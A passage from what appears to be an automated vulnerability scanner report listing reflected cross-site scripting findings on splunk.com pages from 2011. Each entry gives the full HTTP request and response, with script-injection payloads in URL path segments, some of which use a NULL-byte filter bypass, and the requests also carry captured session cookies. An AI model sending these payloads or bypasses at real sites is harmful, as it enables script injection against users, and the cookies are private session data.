<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>d5968d369aa/signup/Splunk_Company_Overview -->
...[SNIP]...

4.447. http://www.splunk.com/page/securelink/signup/Splunk_Company_Overview [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Company_Overview

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload %00db176--><script>alert(1)</script>e09126c71f5 was submitted in the REST URL parameter 4. This input was echoed as db176--><script>alert(1)</script>e09126c71f5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /page/securelink/signup/Splunk_Company_Overview%00db176--><script>alert(1)</script>e09126c71f5 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:36:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:06:02 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:06:02 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18385

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e09126c71f5 -->
...[SNIP]...

4.448. http://www.splunk.com/page/securelink/signup/Splunk_Executive_Brief [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Executive_Brief

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload bb85d--><script>alert(1)</script>b022b7455e4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /pagebb85d--><script>alert(1)</script>b022b7455e4/securelink/signup/Splunk_Executive_Brief HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:34:50 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:04:50 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:04:50 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18451

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b022b7455e4/securelink/signup/Splunk_Executive_Brief -->
...[SNIP]...

4.449. http://www.splunk.com/page/securelink/signup/Splunk_Executive_Brief [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Executive_Brief

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload ae00b--><script>alert(1)</script>981d7f94957 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/securelinkae00b--><script>alert(1)</script>981d7f94957/signup/Splunk_Executive_Brief HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:35:20 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18340

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>981d7f94957/signup/Splunk_Executive_Brief -->
...[SNIP]...

4.450. http://www.splunk.com/page/securelink/signup/Splunk_Executive_Brief [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Executive_Brief

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload %0088885--><script>alert(1)</script>01d4ba0ba72 was submitted in the REST URL parameter 4. This input was echoed as 88885--><script>alert(1)</script>01d4ba0ba72 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /page/securelink/signup/Splunk_Executive_Brief%0088885--><script>alert(1)</script>01d4ba0ba72 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:36:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:06:02 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:06:02 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18382

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>01d4ba0ba72 -->
...[SNIP]...

4.451. http://www.splunk.com/page/securelink/signup/Splunk_Product_Datasheet [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Product_Datasheet

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 34cda--><script>alert(1)</script>d78e48f3c63 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page34cda--><script>alert(1)</script>d78e48f3c63/securelink/signup/Splunk_Product_Datasheet HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:34:50 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:04:50 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:04:50 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18459

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>d78e48f3c63/securelink/signup/Splunk_Product_Datasheet -->
...[SNIP]...

4.452. http://www.splunk.com/page/securelink/signup/Splunk_Product_Datasheet [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Product_Datasheet

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 8a3fb--><script>alert(1)</script>e6d68dbfae3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/securelink8a3fb--><script>alert(1)</script>e6d68dbfae3/signup/Splunk_Product_Datasheet HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:35:20 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18348

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e6d68dbfae3/signup/Splunk_Product_Datasheet -->
...[SNIP]...

4.453. http://www.splunk.com/page/securelink/signup/Splunk_Product_Datasheet [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Product_Datasheet

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload %00cf113--><script>alert(1)</script>dde257ca350 was submitted in the REST URL parameter 4. This input was echoed as cf113--><script>alert(1)</script>dde257ca350 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /page/securelink/signup/Splunk_Product_Datasheet%00cf113--><script>alert(1)</script>dde257ca350 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:36:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:06:02 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:06:02 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>dde257ca350 -->
...[SNIP]...

4.454. http://www.splunk.com/page/securelink/signup/Splunk_and_MapReduce [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_and_MapReduce

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 5f1c8--><script>alert(1)</script>3cece97f3e5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page5f1c8--><script>alert(1)</script>3cece97f3e5/securelink/signup/Splunk_and_MapReduce HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:34:52 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:04:52 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:04:52 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18443

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3cece97f3e5/securelink/signup/Splunk_and_MapReduce -->
...[SNIP]...

4.455. http://www.splunk.com/page/securelink/signup/Splunk_and_MapReduce [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_and_MapReduce

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 79b44--><script>alert(1)</script>119459f7b61 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/securelink79b44--><script>alert(1)</script>119459f7b61/signup/Splunk_and_MapReduce HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:35:20 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18332

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>119459f7b61/signup/Splunk_and_MapReduce -->
...[SNIP]...

4.456. http://www.splunk.com/page/securelink/signup/Splunk_and_MapReduce [REST URL parameter 4] previous next

Summary

